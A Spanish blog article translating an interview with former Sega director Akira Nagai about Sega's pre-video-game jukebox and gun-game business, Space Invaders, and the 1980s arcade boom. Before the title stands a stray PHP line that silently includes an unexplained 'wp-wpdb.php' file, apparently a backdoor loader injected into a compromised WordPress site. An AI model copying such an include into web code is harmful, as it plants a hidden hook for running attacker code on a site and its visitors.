if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); La historia de los arcade de Sega: los primeros años – La Fortaleza de LeChuck

La historia de los arcade de Sega: los primeros años

Sega es una de esas compañías de videojuegos que nos han acompañado desde niños. Quienes tenemos cierta edad, disfrutamos de sus máquinas recreativas y vivimos aquella preciosa guerra Sega vs Nintendo. Sin embargo, la época previa a los arcades es todo un misterio para muchos jugadores. En esta entrevista extraída de Shmuplations, conoceremos de la mano de su exdirector cómo era Sega antes de la expansión de los salones recreativos.

Esta entrevista con el exdirector de Sega, Akira Nagai, es un extracto del libro de 2001 «Sega Arcade History». En ella, se examina la historia inicial de Sega y sigue el desarrollo de los arcade en Japón, desde «los juegos de pistolas» pasando por los «rincones de juego» hasta llegar finalmente a los salones arcade. También detalla el famoso boom de Space Invaders, además de otros momentos clave de la industria que, sin duda, son igual de importantes. Disfrutad.

¿Cómo fue para Sega los años previos a los arcade?

Nagai: Sega, Taito y otras compañías no estaban aún desarrollando juegos. Taito empezó vendiendo máquinas expendedoras de cacahuetes, mientras Sega se dedicaba a la importación y venta de gramolas. Si retrocedemos aún más, tenemos que hablar sobre las bases del ejército estadounidense y las tropas estacionadas. (Risas) Antes de que empezáramos a vender gramolas, había un club para suboficiales en el campo militar estadounidense, y el primer negocio de Sega (aún no se llamaba oficialmente Sega) fue instalar máquinas tragaperras allí. Debido a que era un campamento estadounidense bajo jurisdicción de EE. UU., pudimos instalar máquinas de juego originales.

A partir de ahí, Sega comenzó con la importación de gramolas. Seeburg y Rock-Ola fueron las dos grandes marcas estadounidenses de aquella época. Era una guerra comercial a tres bandas entre Taito, Sega y V & V: Taito importó máquinas de Seeburg, Sega importó Rock-ola y V & V (que, por cierto, era donde el expresidente de Sega, Hayao Nakayama, estaba trabajando) importó Wurlitzers.

En esos días comenzaron a proliferar las gramolas en restaurantes, bares y otros negocios japoneses. Y no solo estas máquinas, también las de karaoke y televisión por cable / radio. La música comenzaba a infiltrarse en la vida cotidiana de las personas, y estábamos en primera línea.

Akira Nagai, exdirector de Sega

En la época de apogeo de las gramolas, Sega tenía una «sala de grabación» en sus oficinas con 700,000 registros. Muchos cantantes vinieron para campañas promocionales. Yo diría que los únicos artistas para los que no teníamos registros eran Yujiro Ishihara y Hibari Misora ​​(risas). Disponíamos de todos los géneros, desde enka hasta pop.

Además del suministro en los campos militares de EE. UU., también montamos un negocio destinado a la población en general. Vendimos máquinas tragaperras a establecimientos japoneses que, a aproximadamente 1000 dólares por máquina, proporcionaron 360,000 yenes en ventas. Lamentablemente, las leyes cambiaron más tarde y tuvimos que abandonar ese negocio. Las tragaperrras tomaban monedas de 10 yenes y devolvían el mismo importe, por lo que eran auténticas máquinas de apuestas.

Con las nuevas prohibiciones, abandonamos ese negocio y nos centramos en las gramolas. Más tarde también comenzamos a importar máquinas de pinball. Sin embargo, el negocio de las gramolas comenzó a sufrir la presión del karaoke, que poco a poco comenzó a tener más importancia. En aquel entonces, como ves, las máquinas de karaoke se instalaron en lugares públicos como bares, a diferencia de lo que sucede hoy en día, donde predominan las cabinas privadas de karaoke. La influencia de la televisión por cable/radio también jugó un papel importante. Intentamos publicitar el poder de las gramolas diciendo: «Con la tv por cable, no puedes escuchar las canciones que quieres. ¡Pero con una gramola, puedes escuchar tus canciones favoritas en cualquier momento!».

¿Cómo eran los salones recreativos en aquel entonces?

Nagai: Antes del Pong de Atari, no había ningún «salón recreativo». En cambio, tenías «zonas con armas», juegos con armas ligeras, pero no videojuegos. Técnicamente, Sega no trabajó solo en ese negocio: nos fusionamos con Rosen Enterprises en 1965, y nuestros establecimientos para estos juegos de armas se establecieron en Hibiya (en Tokio) y Umeda (en Osaka). También importamos pinballs y pistolas fabricadas por Midway, una compañía estadounidense. Más tarde hubo un boom de bolos en Japón, y las boleras se fusionaron con estos juegos de armas para convertirse en «lugares de juego». Trajimos una buena variedad de máquinas estadounidenses, pero todas eran de segunda mano y se rompían muy pronto. El mantenimiento fue terrible. En parte por esa razón, decidimos fabricar pistolas y pinballs en Japón, lo que nos llevó a comenzar el desarrollo de nuestros propios juegos de arcade. Ese fue el inicio oficial de Sega. Todo gracias al éxito de los bolos y la expansión de las zonas de juego.

Además, comenzaron a haber zonas de juegos en las azoteas de los centros comerciales. Esas áreas eran propiedad de compañías que desarrollaban juegos de mucho peso, y eran empresas relativamente nuevas como Namco. Las compañías como Taito y Sega comenzaron con inversión extranjera e inicialmente se dirigieron a las bases del ejército de EE. UU. Nuestro negocio comenzó con gramolas y pinballs y luego se expandió a las zonas de juego con pistolas, por lo que teníamos un modelo diferente al de Namco, y no competíamos directamente con ellos en ese momento.

Las jukeboxes Rock-Ola y las mesas de pinball Williams distribuidas en Japón por Sega durante la era previa al videojuego.

De acuerdo. Entiendo que Sega primero se centró más en las ventas procedentes de la importación en lugar de crear sus propios juegos.

Nagai: Antes de que Sega fuera una desarrolladora, trabajamos en el negocio del juego. Más tarde comenzamos a hacer nuestras propias máquinas, pero Sega, Taito y Namco tenían presencia en todos nuestros centros y allí tenían sus máquinas. Pero todo eso no era muy emocionante, y no había muchas oportunidades de futuro ahí, así que comenzamos a hacer nuestros propios juegos. Más tarde los juegos que creamos ocuparon nuestros centros, y a veces también vendíamos a establecimientos de otras compañías. Todo esto fue durante la era de los «juegos de pistolas».

Con el lanzamiento de Pongtron, Sega llega a la era de los videojuegos. ¿Cómo fue ese período entre Pongtron y Space Invaders de Taito?

Nagai: Invaders fue un juego muy importante. Pero antes de eso, estaba Pongtron, y luego los juegos de romper bloques (como Breakout). Esos juegos nos permitieron establecer el precio para una partida única de 10 yenes a 50 yenes o 100 yenes … así que, en cierto modo, creo que eran tan importantes como Space Invaders. Con Pongtron y Breakout, comenzamos a ver más arcades verticales, y luego estaban por ahí los juegos de globos. La llegada de Space Invaders se debe al éxito de estos juegos.

Pongtron, la primera incursión de Sega en el nuevo mundo de los «videojuegos». El texto promocional en la parte inferior se hace eco de los comentarios de Nagai: «¡Un nuevo tipo de construcción sin partes mecánicas, sin averías!» Y «Compacto en tamaño sin necesidad de mucho espacio, ¡colóquelo en cualquier lugar!»

¿Cómo cambiaron las zonas de juego entre los juegos de pistolas y la nueva era de los videojuegos?

Nagai: Antes de los videojuegos, las máquinas recreativas eran electromecánicas. El desarrollo de software de videojuegos era todo un reto, pero en cuanto a la fabricación, fueron mucho, mucho más simples. Todo lo que necesitabas era el monitor y la pcb (“placa de circuito impreso” En inglés: Printed Circuit Board, PCB), y tampoco requerían mantenimiento. Las electromecánicas, por otro lado, tenían muchos componentes hechos a mano, y su desarrollo tomaba mucho tiempo. Si una parte se estropeaba, toda la máquina dejaba de funcionar hasta ser reparada.

Con los videojuegos, el hecho de que el PCB podría ser reescrito con un nuevo software fue el factor más decisivo en su dominio. Además de nuevos movimientos/acciones que no podría lograrse en las máquinas electromecánicas. Por ejemplo, los ángulos en los que se podía golpear la pelota en Pong -para la gente de aquel entonces- se sentían muy revolucionarios. Disfruté mucho jugando. Otro factor importante fue la cantidad de imágenes nuevas que se podían representar en pantalla.

Recuerdo el juego de conducción de Taito, Speed Race, lanzado en 1974, fue uno de los grandes éxitos en los albores de la era del videojuego. Luchamos ferozmente con Taito por la cuota de mercado.

Y 1978 marca el año en que Taito lanzó su explosivo Space Invaders.

Nagai: Creo que la razón por la que Space Invaders fue un boom tan grande tiene mucho que ver con la proliferación del arcade estilo «cocktail». En ese momento solo había recreativas verticales. El estilo tabletop (también conocidas como bartop, las que se colocan encima de una mesa o superficie) permitió que los juegos de arcade llegaran a las cafeterías, y se extendieron como la pólvora desde allí. Las ventas de Taito en aquellos días eran realmente alucinantes: estaban imponiéndose a otras compañías japonesas, incluso a Honda.

Era muy popular. Habían lugares en los que solo existía Space Invaders. En Sega probamos muchas cosas para estar a la altura, incluso invitamos a celebridades a trabajar con nosotros y así promover nuestros juegos. (Risas) Senkan Yamato de Sega se creó cuando yo estaba allí, pero no pudimos vencer a Taito.

Sin embargo, después de eso lanzamos Space Fighter y Head On, que fueron grandes éxitos. El Boom Invader se agotó, y luego llegó Pac Man de Namco, y después de eso, la industria de las máquinas recreativas en su conjunto se disparó.

Con la llegada de los 80, se comienzan a ver establecimientos dedicados exclusivamente a juegos arcade.

Nagai: Creo que Sigma fue la primera, con la sala de juegos de medallas (los pachinkos de antaño) que abrieron en Shibuya en 1969 para probar el mercado. Después de eso abrió «Game Fantasia Milano» en Shinjuku. Todo esto fue antes de que se aprobaran las leyes que regulan los negocios de adultos (fueihou), por lo que las salas de juego funcionaban las 24 horas, la mayoría de ellas centradas en juegos de medallas en el distrito de Kabukicho. Existían algunas salas recreativas, pero recuerdo que la mayoría de los videojuegos todavía se encontraban en rincones dentro las boleras, grandes almacenes, etc. También estaban presentes en lugares que se habían fusionado con autocines, y funcionaban las 24 horas del día. No obstante, cuando las regulaciones terminaron en 1985, la cantidad de salas recreativas dedicadas aumentó considerablemente.

Game Fantasia Milano en 1975, uno de los primeros salones recreativos de Japón. Operado por Sigma, se basó principalmente en juegos de medallas.

En la década de los 80, los salones recreativos todavía tenían una imagen poco definida, como de lugar sórdido.

Nagai: En la segunda mitad de los 80 se trató de mejorar la imagen. Toda la industria se embarcó en la «Campaña de limpieza 3K»: deshacerse de los aspectos kurai, kowai y kitanai [oscuros, espeluznantes y sucios] de las salas recreativas mediante la instalación de iluminación adecuada, baños limpios, etc.

Una pregunta que se me ocurrió durante la campaña de limpieza fue «¿Por qué los salones recreativos solo tienen un baño …?». Una de nuestras primeras prioridades cuando abrimos nuevos establecimientos fue asegurarnos de que hubiera baños para hombres y mujeres. También hicimos cosas como entrenar adecuadamente a los empleados, retirar colillas de cigarrillos, limpiar bandejas de cenizas y crear áreas para fumadores. Con ese esfuerzo, creo que nos acercamos más a ser un proveedor de servicios adecuado.

Las ventas brutas de 1984 fueron de alrededor de 160 mil millones de yenes. Por esa época comenzamos directamente a administrar nuestras tiendas, y también fue el debut de nuestras arcade tipo taikan. Teníamos Hang-On, y la obra maestra de Yu Suzuki, Out Run. Out Run, en particular, fue realmente increíble para su época. Creo que vendimos 20,000 unidades en todo el mundo. Suzuki pasó a hacer After Burner y otros juegos, pero de Out Run todavía se habla de la maravilla que era. Con los juegos taikan, el negocio arcade de Sega, que había sido el más bajo en ventas para la compañía, gradualmente comenzó a aumentar. Debido a las leyes sobre los negocios para adultos, las ventas para la industria de las máquinas recreativas en su conjunto se habían reducido a 2500 millones de yenes. Pero con los juegos taikan, el período de 1985 a 1995 experimentó un aumento constante.

Aquel también fue el momento en que Sega comenzó a construir más salones arcade. ¡En un solo año abrimos 150 nuevas tiendas! Antes de eso, habíamos alquilado y dirigido locales, pero los propietarios tendían a ser muy tercos, lo que nos animó a adquirir nuestros propios establecimientos que podíamos administrar directamente. Estábamos tratando de cambiar nuestra imagen como empresa, y la creación de nuestros propios centros contribuyó a ello.

Los años 80 realmente vieron despegar los salones recreativos. Nintendo lanzó Donkey Kong en 1981, y en 1983 se formó Capcom, y fue en este punto en el que la balanza entre videojuegos y máquinas electromecánicas se inclinó decisivamente en favor a los videojuegos. A pesar de que hubo un período de caída de ventas, el mercado se expandió con el lanzamiento de los juegos taikan. Había una variedad más amplia de productos comerciales también. Las «máquinas de gancho» despegaron durante este período. Eran originarias de Italia, pero habían sido importadas a Japón a mediados de los años sesenta. Después de eso, se crearon las máquinas con premios, y Sega también se involucró en el acto con una de grúa vertical. La gente estaba enganchada a eso, y debutaron en la era taikan como «UFO Catcher».

En la segunda mitad de los años 80, tenías juegos de medallas, máquinas de UFO Catcher, videojuegos y arcades taikan, una amplia gama de productos comerciales. Al mismo tiempo, los salones recreativos se convirtieron en lugares más limpios y brillantes para visitar. Todo eso explica el crecimiento del mercado en un período de 10 años, desde 1985 hasta 1995. Aquel fue también el momento en el que se lanzaron las consolas domésticas. Sega persiguió ese mercado agresivamente, al igual que Nintendo con la Famicom. Los juegos de consola probablemente tuvieron la mayor influencia en las ventas de los videojuegos arcade, que comenzaron a desplomarse en comparación con los juegos de medallas y los UFO Catcher. Antes de eso, el 40-50% del salón recreativo estaba ocupado por videojuegos. Hoy, con Virtua Fighter 4 (y Tekken 4 y Capcom vs SNK 2, de otras compañías), las ventas de videojuegos están aumentando nuevamente. Nuestra estrategia actual es desarrollar más juegos que ofrezcan una experiencia que solo se puede conseguir en un salón arcade, con funciones como juego online y sistema memory card.

Senkan Yamato y Space Fighter de Sega, lanzados en arcades casi iguales con solo meses de diferencia. Curiosamente, Nagai señala que Senkan Yamato no podía competir con Space Invaders, pero Space Fighter fue un éxito. Ambos juegos eran aparentemente remixes superficiales de Space Invaders, y probablemente usaron hardware idéntico o casi idéntico.

Si echas la vista atrás a los años 90, ¿cómo crees que los salones recreativos y arcades van a cambiar en el futuro?

Nagai: ahora mismo el número de salones en Japón se ha reducido a ~ 500 ubicaciones. Pero cuando se considera que muchos de estos se han consolidado en espacios más grandes, en términos de superficie de ventas, solo se trata de una reducción del 20-30%.

Hoy los salones suburbanos tienen aproximadamente 1600 metros cuadrados. Para los centros más pequeños, tienen que ser de al menos 325 metros cuadrados para que podamos aprovechar al máximo el espacio; de lo contrario, no podemos instalar toda la gama de juegos de medallas, ufo, arcades, y juegos taikan.

Si los salones continúan como están hoy, el mercado probablemente se mantendrá, pero creo que será difícil expandirlo. Si bien las leyes que regulan los negocios para adultos ciertamente nos imponen una variedad de restricciones, si nos damos por vencidos, el negocio de la diversión se estancará. ¿Qué es lo que solo puedes experimentar en un arcade? Esa es la pregunta importante, creo. Por ejemplo, si podemos crear más experiencias como Derby Owner’s Club, creo que hay futuro para esta industria.

Por último, desde la perspectiva de las ventas de salones recreativos, ¿cuál ha sido el mejor título arcade de Sega?

Nagai: Puramente mirando los números, debería ser Virtua Fighter y Virtua Fighter 2. Out Run también fue increíble y tuvo una carrera muy larga. Recientemente tendría que decir Derby Owner’s Club. Estoy feliz de que muchas personas hayan respaldado ese juego. Personalmente, Hang-On y Out Run son mis títulos más memorables. Ayudaron a sacar a la industria de las recreativas de su crisis y crearon géneros completamente nuevos.

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Entras entrevistas despiertan profundamente mi nostalgia. Posiblemente Nagai se siente muy afortunado y orgulloso de haber contribuido al despertar de los videojuegos tal y como los conocemos hoy en día. Personalmente, soy feliz de haber disfrutado de muchos de los arcades de Sega en los salones de mi barrio y zonas de veraneo. Aquellos lugares daban para centenares de anécdotas y minutos de vicio, dependiendo de la calderilla que te dieran tus padres, claro.

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Fuente.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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